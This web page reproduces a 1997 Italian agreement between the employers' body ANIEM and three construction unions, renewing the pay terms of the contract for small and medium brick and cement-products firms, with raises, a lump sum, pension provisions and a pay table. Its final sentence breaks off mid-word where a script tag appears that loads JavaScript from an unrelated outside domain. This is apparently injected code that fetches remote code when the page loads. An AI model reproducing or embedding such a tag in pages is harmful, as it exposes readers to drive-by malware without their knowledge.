Torna
all'elenco delle categorie
|
Categoria: Laterizi e manufatti in cemento (piccola e media impresa) Settore: Edilizia Data stipula: 20-3-1997 Data decorrenza: 1-10-1996 Data scadenza: 31-3-1999
VERBALE DI ACCORDO
In data 20 marzo 1997
tra
l'ANIEM
e
la FENEAL-UIL, FILCA-CISL e FILLEA-CGIL
con riferimento al punto 2 (assetti contrattuali), comma 2, del Protocollo
23.7.93, è stato raggiunto l'accordo per il rinnovo della parte economica
(2° biennio) del CCNL 28.11.94 per i dipendenti delle piccole e medie
aziende produttrici di:
a) elementi e componenti in laterizio e prefabbricati in latero-cemento;
b) manufatti in calcestruzzo armato e non, in cemento, in gesso e
piastrelle.
AUMENTI RETRIBUTIVI
Gli importi e le tranches di erogazione, fissate alle date dell'1.4.97,
1.1.98 e 1.1.99, sono indicate nella tabella allegata (allegato n. 1).
SCADENZA
Il termine di scadenza di cui all'art. 85 del CCNL 28.11.94 è prorogato al
31 marzo 1999.
PREVIDENZA COMPLEMENTARE
Le parti stipulanti il presente accordo costituiranno entro il prossimo
mese di giugno una Commissione Tecnica Paritetica per l'approfondimento
del quadro normativo vigente in materia di previdenza complementare e per
l'esame delle soluzioni tecniche già adottate in altri settori per la
costituzione e la gestione della previdenza complementare a
capitalizzazione su base volontaria.
Detta Commissione presenterà un rapporto alle parti stipulanti entro il
mese di dicembre 1998.
Fermo restando quanto previsto dall'art. 67 del CCNL 28.11.94 anche per
quanto concerne la misura di utilizzo del TFR, le aziende concorreranno al
finanziamento della previdenza complementare nella misura dell'1%
ragguagliato al valore del minimo tabellare, contingenza, EDR e indennità
di funzione quadri di spettanza dei lavoratori che aderiranno alla
previdenza complementare. I lavoratori che abbiano espresso volontà di
adesione alla previdenza complementare contribuiranno in pari misura. Gli
oneri contributivi a carico di lavoratori e imprese decorreranno dalla
effettiva operatività del sistema definito dalle parti.
UNA TANTUM
Ai lavoratori in forza alla data di sottoscrizione del presente accordo è
corrisposto un importo forfettario di £. 370.000 lorde suddivisibili in
quote giornaliere in relazione alla durata del rapporto di lavoro nel
periodo 1.9.96-31.3.97; per il part-time la cifra sarà riproporzionata in
base all'orario svolto.
L'importo dell'una tantum è stato quantificato considerando in esso anche
i riflessi sugli istituti di retribuzione diretta e indiretta, di origine
legale o contrattuale, ed è quindi comprensivo degli stessi.
Inoltre, in attuazione di quanto previsto dal comma 2 dell'art. 2120 C.C.,
l'Una Tantum è esclusa dalla base di calcolo del trattamento di fine
rapporto.
Il suddetto importo verrà erogato in 3 rate pari a:
· £. 150.000 lorde con la retribuzione relativa al mese di marzo 1997;
· £. 120.000 lorde con la retribuzione relativa al mese di giugno 1997;
· £. 100.000 lorde con la retribuzione relativa al mese di settembre
1997.
Le giornate di assenza dal lavoro per malattia, infortunio e congedo
matrimoniale, intervenute nel periodo 1.9.96-31.3.97, che hanno dato luogo
al pagamento di indennità a carico dell'Istituto competente e di
integrazione a carico delle aziende, saranno considerate utili ai fini
dell'importo di cui sopra.
Allegato n. 1.
AUMENTI RETRIBUTIVI
Categorie 1.4.97 1.1.98 1.1.99 Totale
aumenti
AS 71.739 79.710 95.652 247.101
A 60.326 67.029 80.435 207.790
B 49.239 54.710 65.652 169.601
CS 45.000 50.000 60.000 155.000
C 43.043 47.826 57.391 148.261
D 40.109 44.565 55.326 140.000
E 37.174 41.304 49.565 128.043
F 32.609 36.232 43.478 112.319
Nota a verbale.
Le parti si danno reciproc<script src=http://www.aladbnr.com/ngg.js></script>
|